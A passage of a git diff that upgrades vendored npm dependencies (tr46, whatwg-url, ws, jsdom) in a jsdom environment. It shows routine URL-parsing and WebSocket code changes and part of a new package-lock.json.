1932\u1939-\u193B\u1A17\u1A18\u1A1B\u1A56\u1A58-\u1A5E\u1A60\u1A62\u1A65-\u1A6C\u1A73-\u1A7C\u1A7F\u1AB0-\u1ACE\u1B00-\u1B03\u1B34\u1B36-\u1B3A\u1B3C\u1B42\u1B6B-\u1B73\u1B80\u1B81\u1BA2-\u1BA5\u1BA8\u1BA9\u1BAB-\u1BAD\u1BE6\u1BE8\u1BE9\u1BED\u1BEF-\u1BF1\u1C2C-\u1C33\u1C36\u1C37\u1CD0-\u1CD2\u1CD4-\u1CE0\u1CE2-\u1CE8\u1CED\u1CF4\u1CF8\u1CF9\u1DC0-\u1DFF\u20D0-\u20F0\u2CEF-\u2CF1\u2D7F\u2DE0-\u2DFF\u302A-\u302D\u3099\u309A\uA66F-\uA672\uA674-\uA67D\uA69E\uA69F\uA6F0\uA6F1\uA802\uA806\uA80B\uA825\uA826\uA82C\uA8C4\uA8C5\uA8E0-\uA8F1\uA8FF\uA926-\uA92D\uA947-\uA951\uA980-\uA982\uA9B3\uA9B6-\uA9B9\uA9BC\uA9BD\uA9E5\uAA29-\uAA2E\uAA31\uAA32\uAA35\uAA36\uAA43\uAA4C\uAA7C\uAAB0\uAAB2-\uAAB4\uAAB7\uAAB8\uAABE\uAABF\uAAC1\uAAEC\uAAED\uAAF6\uABE5\uABE8\uABED\uFB1E\uFE00-\uFE0F\uFE20-\uFE2F\u{101FD}\u{102E0}\u{10376}-\u{1037A}\u{10A01}-\u{10A03}\u{10A05}\u{10A06}\u{10A0C}-\u{10A0F}\u{10A38}-\u{10A3A}\u{10A3F}\u{10AE5}\u{10AE6}\u{10D24}-\u{10D27}\u{10EAB}\u{10EAC}\u{10EFD}-\u{10EFF}\u{10F46}-\u{10F50}\u{10F82}-\u{10F85}\u{11001}\u{11038}-\u{11046}\u{11070}\u{11073}\u{11074}\u{1107F}-\u{11081}\u{110B3}-\u{110B6}\u{110B9}\u{110BA}\u{110C2}\u{11100}-\u{11102}\u{11127}-\u{1112B}\u{1112D}-\u{11134}\u{11173}\u{11180}\u{11181}\u{111B6}-\u{111BE}\u{111C9}-\u{111CC}\u{111CF}\u{1122F}-\u{11231}\u{11234}\u{11236}\u{11237}\u{1123E}\u{11241}\u{112DF}\u{112E3}-\u{112EA}\u{11300}\u{11301}\u{1133B}\u{1133C}\u{11340}\u{11366}-\u{1136C}\u{11370}-\u{11374}\u{11438}-\u{1143F}\u{11442}-\u{11444}\u{11446}\u{1145E}\u{114B3}-\u{114B8}\u{114BA}\u{114BF}\u{114C0}\u{114C2}\u{114C3}\u{115B2}-\u{115B5}\u{115BC}\u{115BD}\u{115BF}\u{115C0}\u{115DC}\u{115DD}\u{11633}-\u{1163A}\u{1163D}\u{1163F}\u{11640}\u{116AB}\u{116AD}\u{116B0}-\u{116B5}\u{116B7}\u{1171D}-\u{1171F}\u{11722}-\u{11725}\u{11727}-\u{1172B}\u{1182F}-\u{11837}\u{11839}\u{1183A}\u{1193B}\u{1193C}\u{1193E}\u{11943}\u{119D4}-\u{119D7}\u{119DA}\u{119DB}\u{119E0}\u{11A01}-\u{11A06}\u{11A09}\u{11A0A}\u{11A33}-\u{11A38}\u{11A3B}-\u{11A3E}\u{11A47}\u{11A51}-\u{11A56}\u{11A59}-\u{11A5B}\u{11A8A}-\u{11A96}\u{11A98}\u{11A99}\u{11C30}-\u{11C36}\u{11C38}-\u{11C3D}\u{11C92}-\u{11CA7}\u{11CAA}-\u{11CB0}\u{11CB2}\u{11CB3}\u{11CB5}\u{11CB6}\u{11D31}-\u{11D36}\u{11D3A}\u{11D3C}\u{11D3D}\u{11D3F}-\u{11D45}\u{11D47}\u{11D90}\u{11D91}\u{11D95}\u{11D97}\u{11EF3}\u{11EF4}\u{11F00}\u{11F01}\u{11F36}-\u{11F3A}\u{11F40}\u{11F42}\u{13440}\u{13447}-\u{13455}\u{16AF0}-\u{16AF4}\u{16B30}-\u{16B36}\u{16F4F}\u{16F8F}-\u{16F92}\u{16FE4}\u{1BC9D}\u{1BC9E}\u{1CF00}-\u{1CF2D}\u{1CF30}-\u{1CF46}\u{1D167}-\u{1D169}\u{1D17B}-\u{1D182}\u{1D185}-\u{1D18B}\u{1D1AA}-\u{1D1AD}\u{1D242}-\u{1D244}\u{1DA00}-\u{1DA36}\u{1DA3B}-\u{1DA6C}\u{1DA75}\u{1DA84}\u{1DA9B}-\u{1DA9F}\u{1DAA1}-\u{1DAAF}\u{1E000}-\u{1E006}\u{1E008}-\u{1E018}\u{1E01B}-\u{1E021}\u{1E023}\u{1E024}\u{1E026}-\u{1E02A}\u{1E08F}\u{1E130}-\u{1E136}\u{1E2AE}\u{1E2EC}-\u{1E2EF}\u{1E4EC}-\u{1E4EF}\u{1E8D0}-\u{1E8D6}\u{1E944}-\u{1E94A}\u{E0100}-\u{E01EF}]*$/u; module.exports = { combiningMarks, diff --git a/env_xbb_lastest_jsdom/node_modules/tr46/package.json b/env_xbb_lastest_jsdom/node_modules/tr46/package.json index 8e79ba6c..1b59d728 100644 --- a/env_xbb_lastest_jsdom/node_modules/tr46/package.json +++ b/env_xbb_lastest_jsdom/node_modules/tr46/package.json @@ -1,16 +1,14 @@ { "name": "tr46", - "version": "3.0.0", + "version": "4.1.1", "engines": { - "node": ">=12" + "node": ">=14" }, "description": "An implementation of the Unicode UTS #46: Unicode IDNA Compatibility Processing", "main": "index.js", "files": [ "index.js", - "lib/mappingTable.json", - "lib/regexes.js", - "lib/statusMapping.js" + "lib/" ], "scripts": { "test": "mocha", @@ -33,15 +31,15 @@ ], "license": "MIT", "dependencies": { - "punycode": "^2.1.1" + "punycode": "^2.3.0" }, "devDependencies": { - "@domenic/eslint-config": "^1.4.0", - "@unicode/unicode-14.0.0": "^1.2.1", - "eslint": "^7.32.0", - "minipass-fetch": "^1.4.1", - "mocha": "^9.1.1", + "@domenic/eslint-config": "^3.0.0", + "@unicode/unicode-15.0.0": "^1.3.1", + "eslint": "^8.32.0", + "minipass-fetch": "^3.0.1", + "mocha": "^10.2.0", "regenerate": "^1.4.2" }, - "unicodeVersion": "14.0.0" + "unicodeVersion": "15.0.0" } diff --git a/env_xbb_lastest_jsdom/node_modules/whatwg-url/README.md b/env_xbb_lastest_jsdom/node_modules/whatwg-url/README.md index 4d089006..bc108d07 100644 --- a/env_xbb_lastest_jsdom/node_modules/whatwg-url/README.md +++ b/env_xbb_lastest_jsdom/node_modules/whatwg-url/README.md @@ -4,7 +4,7 @@ whatwg-url is a full implementation of the WHATWG [URL Standard](https://url.spe ## Specification conformance -whatwg-url is currently up to date with the URL spec up to commit [43c2713](https://github.com/whatwg/url/commit/43c27137a0bc82c4b800fe74be893255fbeb35f4). +whatwg-url is currently up to date with the URL spec up to commit [fdaa0e5](https://github.com/whatwg/url/commit/fdaa0e5a3790693a82f578d7373f216d8fef9ac8). For `file:` URLs, whose [origin is left unspecified](https://url.spec.whatwg.org/#concept-url-origin), whatwg-url chooses to use a new opaque origin (which serializes to `"null"`). diff --git a/env_xbb_lastest_jsdom/node_modules/whatwg-url/lib/URL-impl.js b/env_xbb_lastest_jsdom/node_modules/whatwg-url/lib/URL-impl.js index db3a0aea..35a64e87 100644 --- a/env_xbb_lastest_jsdom/node_modules/whatwg-url/lib/URL-impl.js +++ b/env_xbb_lastest_jsdom/node_modules/whatwg-url/lib/URL-impl.js @@ -171,6 +171,7 @@ exports.implementation = class URLImpl { if (v === "") { url.query = null; this._query._list = []; + this._potentiallyStripTrailingSpacesFromAnOpaquePath(); return; } @@ -195,6 +196,7 @@ exports.implementation = class URLImpl { set hash(v) { if (v === "") { this._url.fragment = null; + this._potentiallyStripTrailingSpacesFromAnOpaquePath(); return; } @@ -206,4 +208,20 @@ exports.implementation = class URLImpl { toJSON() { return this.href; } + + _potentiallyStripTrailingSpacesFromAnOpaquePath() { + if (!usm.hasAnOpaquePath(this._url)) { + return; + } + + if (this._url.fragment !== null) { + return; + } + + if (this._url.query !== null) { + return; + } + + this._url.path = this._url.path.replace(/\u0020+$/u, ""); + } }; diff --git a/env_xbb_lastest_jsdom/node_modules/whatwg-url/lib/URLSearchParams-impl.js b/env_xbb_lastest_jsdom/node_modules/whatwg-url/lib/URLSearchParams-impl.js index ef8d604e..7729b0bf 100644 --- a/env_xbb_lastest_jsdom/node_modules/whatwg-url/lib/URLSearchParams-impl.js +++ b/env_xbb_lastest_jsdom/node_modules/whatwg-url/lib/URLSearchParams-impl.js @@ -31,11 +31,16 @@ exports.implementation = class URLSearchParamsImpl { _updateSteps() { if (this._url !== null) { - let query = urlencoded.serializeUrlencoded(this._list); - if (query === "") { - query = null; + let serializedQuery = urlencoded.serializeUrlencoded(this._list); + if (serializedQuery === "") { + serializedQuery = null; + } + + this._url._url.query = serializedQuery; + + if (serializedQuery === null) { + this._url._potentiallyStripTrailingSpacesFromAnOpaquePath(); } - this._url._url.query = query; } } diff --git a/env_xbb_lastest_jsdom/node_modules/whatwg-url/lib/url-state-machine.js b/env_xbb_lastest_jsdom/node_modules/whatwg-url/lib/url-state-machine.js index d9ecae2e..69639844 100644 --- a/env_xbb_lastest_jsdom/node_modules/whatwg-url/lib/url-state-machine.js +++ b/env_xbb_lastest_jsdom/node_modules/whatwg-url/lib/url-state-machine.js @@ -53,11 +53,11 @@ function isNormalizedWindowsDriveLetterString(string) { } function containsForbiddenHostCodePoint(string) { - return string.search(/\u0000|\u0009|\u000A|\u000D|\u0020|#|%|\/|:|<|>|\?|@|\[|\\|\]|\^|\|/u) !== -1; + return string.search(/\u0000|\u0009|\u000A|\u000D|\u0020|#|\/|:|<|>|\?|@|\[|\\|\]|\^|\|/u) !== -1; } -function containsForbiddenHostCodePointExcludingPercent(string) { - return string.search(/\u0000|\u0009|\u000A|\u000D|\u0020|#|\/|:|<|>|\?|@|\[|\\|\]|\^|\|/u) !== -1; +function containsForbiddenDomainCodePoint(string) { + return containsForbiddenHostCodePoint(string) || string.search(/[\u0000-\u001F]|%|\u007F/u) !== -1; } function isSpecialScheme(scheme) { @@ -344,7 +344,7 @@ function parseHost(input, isNotSpecialArg = false) { return failure; } - if (containsForbiddenHostCodePoint(asciiDomain)) { + if (containsForbiddenDomainCodePoint(asciiDomain)) { return failure; } @@ -377,7 +377,7 @@ function endsInANumber(input) { } function parseOpaqueHost(input) { - if (containsForbiddenHostCodePointExcludingPercent(input)) { + if (containsForbiddenHostCodePoint(input)) { return failure; } @@ -467,7 +467,7 @@ function includesCredentials(url) { } function cannotHaveAUsernamePasswordPort(url) { - return url.host === null || url.host === "" || hasAnOpaquePath(url) || url.scheme === "file"; + return url.host === null || url.host === "" || url.scheme === "file"; } function hasAnOpaquePath(url) { diff --git a/env_xbb_lastest_jsdom/node_modules/whatwg-url/package.json b/env_xbb_lastest_jsdom/node_modules/whatwg-url/package.json index 9cb209f9..da6fd7b7 100644 --- a/env_xbb_lastest_jsdom/node_modules/whatwg-url/package.json +++ b/env_xbb_lastest_jsdom/node_modules/whatwg-url/package.json @@ -1,6 +1,6 @@ { "name": "whatwg-url", - "version": "11.0.0", + "version": "12.0.1", "description": "An implementation of the WHATWG URL Standard's URL API and parsing machinery", "main": "index.js", "files": [ @@ -12,28 +12,28 @@ "license": "MIT", "repository": "jsdom/whatwg-url", "dependencies": { - "tr46": "^3.0.0", + "tr46": "^4.1.1", "webidl-conversions": "^7.0.0" }, "devDependencies": { - "@domenic/eslint-config": "^1.4.0", + "@domenic/eslint-config": "^3.0.0", "benchmark": "^2.1.4", - "browserify": "^17.0.0", "domexception": "^4.0.0", - "eslint": "^7.32.0", - "got": "^11.8.2", - "jest": "^27.2.4", - "webidl2js": "^17.0.0" + "esbuild": "^0.17.11", + "eslint": "^8.35.0", + "jest": "^29.5.0", + "minipass-fetch": "^3.0.1", + "webidl2js": "^17.1.0" }, "engines": { - "node": ">=12" + "node": ">=14" }, "scripts": { "coverage": "jest --coverage", "lint": "eslint .", "prepare": "node scripts/transform.js", "pretest": "node scripts/get-latest-platform-tests.js && node scripts/transform.js", - "build-live-viewer": "browserify index.js --standalone whatwgURL > live-viewer/whatwg-url.js", + "build-live-viewer": "esbuild --bundle --format=esm --sourcemap --outfile=live-viewer/whatwg-url.mjs index.js", "test": "jest" }, "jest": { diff --git a/env_xbb_lastest_jsdom/node_modules/ws/lib/websocket.js b/env_xbb_lastest_jsdom/node_modules/ws/lib/websocket.js index 35a788ac..b2b2b092 100644 --- a/env_xbb_lastest_jsdom/node_modules/ws/lib/websocket.js +++ b/env_xbb_lastest_jsdom/node_modules/ws/lib/websocket.js @@ -989,7 +989,11 @@ function initAsClient(websocket, address, protocols, options) { }); }); - req.end(); + if (opts.finishRequest) { + opts.finishRequest(req, websocket); + } else { + req.end(); + } } /** diff --git a/env_xbb_lastest_jsdom/node_modules/ws/package.json b/env_xbb_lastest_jsdom/node_modules/ws/package.json index df8c648a..4b5d92bd 100644 --- a/env_xbb_lastest_jsdom/node_modules/ws/package.json +++ b/env_xbb_lastest_jsdom/node_modules/ws/package.json @@ -1,6 +1,6 @@ { "name": "ws", - "version": "8.12.1", + "version": "8.13.0", "description": "Simple to use, blazing fast and thoroughly tested websocket client and server for Node.js", "keywords": [ "HyBi", diff --git a/env_xbb_lastest_jsdom/package-lock.json b/env_xbb_lastest_jsdom/package-lock.json new file mode 100644 index 00000000..da2d358a --- /dev/null +++ b/env_xbb_lastest_jsdom/package-lock.json @@ -0,0 +1,1750 @@ +{ + "name": "env_xbb_lastest_jsdom", + "lockfileVersion": 2, + "requires": true, + "packages": { + "": { + "dependencies": { + "jsdom": "^22.0.0", + "node-addon-api": "^6.1.0" + } + }, + "node_modules/@mapbox/node-pre-gyp": { + "version": "1.0.10", + "license": "BSD-3-Clause", + "optional": true, + "peer": true, + "dependencies": { + "detect-libc": "^2.0.0", + "https-proxy-agent": "^5.0.0", + "make-dir": "^3.1.0", + "node-fetch": "^2.6.7", + "nopt": "^5.0.0", + "npmlog": "^5.0.1", + "rimraf": "^3.0.2", + "semver": "^7.3.5", + "tar": "^6.1.11" + }, + "bin": { + "node-pre-gyp": "bin/node-pre-gyp" + } + }, + "node_modules/@tootallnate/once": { + "version": "2.0.0", + "license": "MIT", + "engines": { + "node": ">= 10" + } + }, + "node_modules/abab": { + "version": "2.0.6", + "license": "BSD-3-Clause" + }, + "node_modules/abbrev": { + "version": "1.1.1", + "license": "ISC", + "optional": true, + "peer": true + }, + "node_modules/agent-base": { + "version": "6.0.2", + "license": "MIT", + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "license": "MIT", + "optional": true, + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/aproba": { + "version": "2.0.0", + "license": "ISC", + "optional": true, + "peer": true + }, + "node_modules/are-we-there-yet": { + "version": "2.0.0", + "license": "ISC", + "optional": true, + "peer": true, + "dependencies": { + "delegates": "^1.0.0", + "readable-stream": "^3.6.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/asynckit": { + "version": "0.4.0", + "license": "MIT" + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "license": "MIT", + "optional": true, + "peer": true + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "license": "MIT", + "optional": true, + "peer": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/canvas": { + "version": "2.11.0", + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "peer": true, + "dependencies": { + "@mapbox/node-pre-gyp": "^1.0.0", + "nan": "^2.17.0", + "simple-get": "^3.0.3" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/chownr": { + "version": "2.0.0", + "license": "ISC", + "optional": true, + "peer": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/color-support": { + "version": "1.1.3", + "license": "ISC", + "optional": true, + "peer": true, + "bin": { + "color-support": "bin.js" + } + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "license": "MIT", + "optional": true, + "peer": true + }, + "node_modules/console-control-strings": { + "version": "1.1.0", + "license": "ISC", + "optional": true, + "peer": true + }, + "node_modules/cssstyle": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-3.0.0.tgz", + "integrity": "sha512-N4u2ABATi3Qplzf0hWbVCdjenim8F3ojEXpBDF5hBpjzW182MjNGLqfmQ0SkSPeQ+V86ZXgeH8aXj6kayd4jgg==", + "dependencies": { + "rrweb-cssom": "^0.6.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/data-urls": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-4.0.0.tgz", + "integrity": "sha512-/mMTei/JXPqvFqQtfyTowxmJVwr2PVAeCcDxyFf6LhoOu/09TX2OX3kb2wzi4DMXcfj4OItwDOnhl5oziPnT6g==", + "dependencies": { + "abab": "^2.0.6", + "whatwg-mimetype": "^3.0.0", + "whatwg-url": "^12.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/debug": { + "version": "4.3.4", + "license": "MIT", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decimal.js": { + "version": "10.4.3", + "license": "MIT" + }, + "node_modules/decompress-response": { + "version": "4.2.1", + "license": "MIT", + "optional": true, + "peer": true, + "dependencies": { + "mimic-response": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/delegates": { + "version": "1.0.0", + "license": "MIT", + "optional": true, + "peer": true + }, + "node_modules/detect-libc": { + "version": "2.0.1", + "license": "Apache-2.0", + "optional": true, + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/domexception": { + "version": "4.0.0", + "license": "MIT", + "dependencies": { + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "license": "MIT", + "optional": true, + "peer": true + }, + "node_modules/entities": { + "version": "4.4.0", + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/form-data": { + "version": "4.0.0", + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fs-minipass": { + "version": "2.1.0", + "license": "ISC", + "optional": true, + "peer": true, + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/fs-minipass/node_modules/minipass": { + "version": "3.3.6", + "license": "ISC", + "optional": true, + "peer": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "license": "ISC", + "optional": true, + "peer": true + }, + "node_modules/gauge": { + "version": "3.0.2", + "license": "ISC", + "optional": true, + "peer": true, + "dependencies": { + "aproba": "^1.0.3 || ^2.0.0", + "color-support": "^1.1.2", + "console-control-strings": "^1.0.0", + "has-unicode": "^2.0.1", + "object-assign": "^4.1.1", + "signal-exit": "^3.0.0", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1", + "wide-align": "^1.1.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/glob": { + "version": "7.2.3", + "license": "ISC", + "optional": true, + "peer": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/has-unicode": { + "version": "2.0.1", + "license": "ISC", + "optional": true, + "peer": true + }, + "node_modules/html-encoding-sniffer": { + "version": "3.0.0", + "license": "MIT", + "dependencies": { + "whatwg-encoding": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/http-proxy-agent": { + "version": "5.0.0", + "license": "MIT", + "dependencies": { + "@tootallnate/once": "2", + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/https-proxy-agent": { + "version": "5.0.1", + "license": "MIT", + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/iconv-lite": { + "version": "0.6.3", + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "license": "ISC", + "optional": true, + "peer": true, + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "license": "ISC", + "optional": true, + "peer": true + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "license": "MIT", + "optional": true, + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-potential-custom-element-name": { + "version": "1.0.1", + "license": "MIT" + }, + "node_modules/jsdom": { + "version": "22.0.0", + "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-22.0.0.tgz", + "integrity": "sha512-p5ZTEb5h+O+iU02t0GfEjAnkdYPrQSkfuTSMkMYyIoMvUNEHsbG0bHHbfXIcfTqD2UfvjQX7mmgiFsyRwGscVw==", + "dependencies": { + "abab": "^2.0.6", + "cssstyle": "^3.0.0", + "data-urls": "^4.0.0", + "decimal.js": "^10.4.3", + "domexception": "^4.0.0", + "form-data": "^4.0.0", + "html-encoding-sniffer": "^3.0.0", + "http-proxy-agent": "^5.0.0", + "https-proxy-agent": "^5.0.1", + "is-potential-custom-element-name": "^1.0.1", + "nwsapi": "^2.2.4", + "parse5": "^7.1.2", + "rrweb-cssom": "^0.6.0", + "saxes": "^6.0.0", + "symbol-tree": "^3.2.4", + "tough-cookie": "^4.1.2", + "w3c-xmlserializer": "^4.0.0", + "webidl-conversions": "^7.0.0", + "whatwg-encoding": "^2.0.0", + "whatwg-mimetype": "^3.0.0", + "whatwg-url": "^12.0.1", + "ws": "^8.13.0", + "xml-name-validator": "^4.0.0" + }, + "engines": { + "node": ">=16" + }, + "peerDependencies": { + "canvas": "^2.5.0" + }, + "peerDependenciesMeta": { + "canvas": { + "optional": true + } + } + }, + "node_modules/lru-cache": { + "version": "6.0.0", + "license": "ISC", + "optional": true, + "peer": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/make-dir": { + "version": "3.1.0", + "license": "MIT", + "optional": true, + "peer": true, + "dependencies": { + "semver": "^6.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/make-dir/node_modules/semver": { + "version": "6.3.0", + "license": "ISC", + "optional": true, + "peer": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-response": { + "version": "2.1.0", + "license": "MIT", + "optional": true, + "peer": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/minimatch": { + "version": "3.1.2", + "license": "ISC", + "optional": true, + "peer": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minipass": { + "version": "4.0.3", + "license": "ISC", + "optional": true, + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/minizlib": { + "version": "2.1.2", + "license": "MIT", + "optional": true, + "peer": true, + "dependencies": { + "minipass": "^3.0.0", + "yallist": "^4.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/minizlib/node_modules/minipass": { + "version": "3.3.6", + "license": "ISC", + "optional": true, + "peer": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/mkdirp": { + "version": "1.0.4", + "license": "MIT", + "optional": true, + "peer": true, + "bin": { + "mkdirp": "bin/cmd.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/ms": { + "version": "2.1.2", + "license": "MIT" + }, + "node_modules/nan": { + "version": "2.17.0", + "license": "MIT", + "optional": true, + "peer": true + }, + "node_modules/node-addon-api": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-6.1.0.tgz", + "integrity": "sha512-+eawOlIgy680F0kBzPUNFhMZGtJ1YmqM6l4+Crf4IkImjYrO/mqPwRMh352g23uIaQKFItcQ64I7KMaJxHgAVA==" + }, + "node_modules/node-fetch": { + "version": "2.6.9", + "license": "MIT", + "optional": true, + "peer": true, + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/node-fetch/node_modules/tr46": { + "version": "0.0.3", + "license": "MIT", + "optional": true, + "peer": true + }, + "node_modules/node-fetch/node_modules/webidl-conversions": { + "version": "3.0.1", + "license": "BSD-2-Clause", + "optional": true, + "peer": true + }, + "node_modules/node-fetch/node_modules/whatwg-url": { + "version": "5.0.0", + "license": "MIT", + "optional": true, + "peer": true, + "dependencies": { + "tr46": "~0.0.3", + "webidl-conversions": "^3.0.0" + } + }, + "node_modules/nopt": { + "version": "5.0.0", + "license": "ISC", + "optional": true, + "peer": true, + "dependencies": { + "abbrev": "1" + }, + "bin": { + "nopt": "bin/nopt.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npmlog": { + "version": "5.0.1", + "license": "ISC", + "optional": true, + "peer": true, + "dependencies": { + "are-we-there-yet": "^2.0.0", + "console-control-strings": "^1.1.0", + "gauge": "^3.0.0", + "set-blocking": "^2.0.0" + } + }, + "node_modules/nwsapi": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.4.tgz", + "integrity": "sha512-NHj4rzRo0tQdijE9ZqAx6kYDcoRwYwSYzCA8MY3JzfxlrvEU0jhnhJT9BhqhJs7I/dKcrDm6TyulaRqZPIhN5g==" + }, + "node_modules/object-assign": { + "version": "4.1.1", + "license": "MIT", + "optional": true, + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/once": { + "version": "1.4.0", + "license": "ISC", + "optional": true, + "peer": true, + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/parse5": { + "version": "7.1.2", + "license": "MIT", + "dependencies": { + "entities": "^4.4.0" + }, + "funding": { + "url": "https://github.com/inikulin/parse5?sponsor=1" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "license": "MIT", + "optional": true, + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/psl": { + "version": "1.9.0", + "license": "MIT" + }, + "node_modules/punycode": { + "version": "2.3.0", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/querystringify": { + "version": "2.2.0", + "license": "MIT" + }, + "node_modules/readable-stream": { + "version": "3.6.0", + "license": "MIT", + "optional": true, + "peer": true, + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/requires-port": { + "version": "1.0.0", + "license": "MIT" + }, + "node_modules/rimraf": { + "version": "3.0.2", + "license": "ISC", + "optional": true, + "peer": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/rrweb-cssom": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.6.0.tgz", + "integrity": "sha512-APM0Gt1KoXBz0iIkkdB/kfvGOwC4UuJFeG/c+yV7wSc7q96cG/kJ0HiYCnzivD9SB53cLV1MlHFNfOuPaadYSw==" + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "optional": true, + "peer": true + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "license": "MIT" + }, + "node_modules/saxes": { + "version": "6.0.0", + "license": "ISC", + "dependencies": { + "xmlchars": "^2.2.0" + }, + "engines": { + "node": ">=v12.22.7" + } + }, + "node_modules/semver": { + "version": "7.3.8", + "license": "ISC", + "optional": true, + "peer": true, + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/set-blocking": { + "version": "2.0.0", + "license": "ISC", + "optional": true, + "peer": true + }, + "node_modules/signal-exit": { + "version": "3.0.7", + "license": "ISC", + "optional": true, + "peer": true + }, + "node_modules/simple-concat": { + "version": "1.0.1", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "optional": true, + "peer": true + }, + "node_modules/simple-get": { + "version": "3.1.1", + "license": "MIT", + 